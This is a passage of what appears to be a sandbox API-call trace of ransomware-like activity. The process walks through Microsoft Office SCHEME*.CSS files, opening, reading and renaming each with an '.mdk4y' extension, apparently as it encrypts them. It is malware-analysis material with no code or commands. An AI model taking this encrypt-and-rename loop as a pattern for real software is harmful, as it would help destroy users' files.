Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme36.css.mdk4y")) returned 1 [0196.189] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.189] AreFileApisANSI () returned 1 [0196.189] GetACP () returned 0x4e4 [0196.189] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME37.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME37.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.189] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme37.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827142000000) returned 1 [0196.190] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x205bc, lpOverlapped=0x0) returned 1 [0196.218] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827144800000) returned 1 [0196.218] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827144800000) returned 1 [0196.220] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme37.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme37.css.mdk4y")) returned 1 [0196.221] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.221] AreFileApisANSI () returned 1 [0196.221] GetACP () returned 0x4e4 [0196.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME38.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME38.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.221] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme38.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.222] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827145200000) returned 1 [0196.222] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f07c, lpOverlapped=0x0) returned 1 [0196.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827146100000) returned 1 [0196.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827146100000) returned 1 [0196.232] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme38.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme38.css.mdk4y")) returned 1 [0196.233] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.233] AreFileApisANSI () returned 1 [0196.233] GetACP () returned 0x4e4 [0196.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME39.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME39.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.233] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme39.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.235] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827146500000) returned 1 [0196.235] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1e44c, lpOverlapped=0x0) returned 1 [0196.261] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827149100000) returned 1 [0196.261] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827149100000) returned 1 [0196.262] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme39.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme39.css.mdk4y")) returned 1 [0196.263] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.263] AreFileApisANSI () returned 1 [0196.263] GetACP () returned 0x4e4 [0196.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME40.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME40.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.263] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme40.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.264] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827149400000) returned 1 [0196.264] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1eb4a, lpOverlapped=0x0) returned 1 [0196.266] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827149600000) returned 1 [0196.266] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827149600000) returned 1 [0196.267] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme40.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme40.css.mdk4y")) returned 1 [0196.268] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.268] AreFileApisANSI () returned 1 [0196.268] GetACP () returned 0x4e4 [0196.268] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME41.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME41.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.268] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme41.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827149800000) returned 1 [0196.268] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1e958, lpOverlapped=0x0) returned 1 [0196.286] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827151600000) returned 1 [0196.286] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827151600000) returned 1 [0196.287] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme41.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme41.css.mdk4y")) returned 1 [0196.288] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.288] AreFileApisANSI () returned 1 [0196.288] GetACP () returned 0x4e4 [0196.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME42.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME42.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.288] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme42.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.289] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827151900000) returned 1 [0196.289] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1d920, lpOverlapped=0x0) returned 1 [0196.317] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827154700000) returned 1 [0196.317] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827154700000) returned 1 [0196.318] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme42.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme42.css.mdk4y")) returned 1 [0196.320] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.320] AreFileApisANSI () returned 1 [0196.320] GetACP () returned 0x4e4 [0196.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME43.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME43.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.320] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme43.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.322] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827155200000) returned 1 [0196.322] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1e714, lpOverlapped=0x0) returned 1 [0196.393] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827162300000) returned 1 [0196.393] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827162300000) returned 1 [0196.395] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme43.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme43.css.mdk4y")) returned 1 [0196.397] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.397] AreFileApisANSI () returned 1 [0196.397] GetACP () returned 0x4e4 [0196.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME44.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME44.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.397] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme44.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827162800000) returned 1 [0196.398] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1ecfc, lpOverlapped=0x0) returned 1 [0196.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827163000000) returned 1 [0196.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827163000000) returned 1 [0196.401] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme44.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme44.css.mdk4y")) returned 1 [0196.402] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.402] AreFileApisANSI () returned 1 [0196.402] GetACP () returned 0x4e4 [0196.402] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME45.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME45.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.402] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme45.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827163200000) returned 1 [0196.402] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1e6a6, lpOverlapped=0x0) returned 1 [0196.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827164800000) returned 1 [0196.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827164800000) returned 1 [0196.419] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme45.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme45.css.mdk4y")) returned 1 [0196.421] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.421] AreFileApisANSI () returned 1 [0196.421] GetACP () returned 0x4e4 [0196.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME46.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME46.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.421] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme46.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.422] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827165200000) returned 1 [0196.422] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1fdb6, lpOverlapped=0x0) returned 1 [0196.433] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827166300000) returned 1 [0196.433] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827166300000) returned 1 [0196.435] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme46.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme46.css.mdk4y")) returned 1 [0196.436] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.436] AreFileApisANSI () returned 1 [0196.436] GetACP () returned 0x4e4 [0196.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME47.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME47.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.437] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme47.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.438] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827166800000) returned 1 [0196.438] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f190, lpOverlapped=0x0) returned 1 [0196.472] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827170200000) returned 1 [0196.473] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827170300000) returned 1 [0196.474] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme47.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme47.css.mdk4y")) returned 1 [0196.475] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.475] AreFileApisANSI () returned 1 [0196.475] GetACP () returned 0x4e4 [0196.475] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME48.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME48.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.475] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme48.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.476] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827170600000) returned 1 [0196.476] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f984, lpOverlapped=0x0) returned 1 [0196.495] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827172500000) returned 1 [0196.495] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827172500000) returned 1 [0196.496] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme48.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme48.css.mdk4y")) returned 1 [0196.497] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.497] AreFileApisANSI () returned 1 [0196.497] GetACP () returned 0x4e4 [0196.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME49.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME49.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.497] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme49.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827172800000) returned 1 [0196.498] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1da6c, lpOverlapped=0x0) returned 1 [0196.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827174400000) returned 1 [0196.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827174400000) returned 1 [0196.516] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme49.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme49.css.mdk4y")) returned 1 [0196.517] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.517] AreFileApisANSI () returned 1 [0196.517] GetACP () returned 0x4e4 [0196.517] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME50.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME50.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.517] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme50.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827174800000) returned 1 [0196.518] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f018, lpOverlapped=0x0) returned 1 [0196.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827175900000) returned 1 [0196.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827175900000) returned 1 [0196.531] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme50.css"), lpNewFileName="C:\\Program Files\\Microsoft 